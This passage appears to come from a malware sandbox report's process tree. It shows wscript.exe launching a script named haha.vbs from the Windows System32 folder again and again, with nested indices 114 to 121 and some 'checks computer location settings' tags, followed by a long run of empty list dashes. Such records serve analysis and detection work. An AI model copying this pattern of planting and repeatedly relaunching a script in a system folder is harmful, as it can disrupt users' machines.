C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs114⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs115⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs116⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs117⤵
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs118⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs119⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs120⤵
- Checks computer location settings
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Windows\System32\haha.vbs121⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-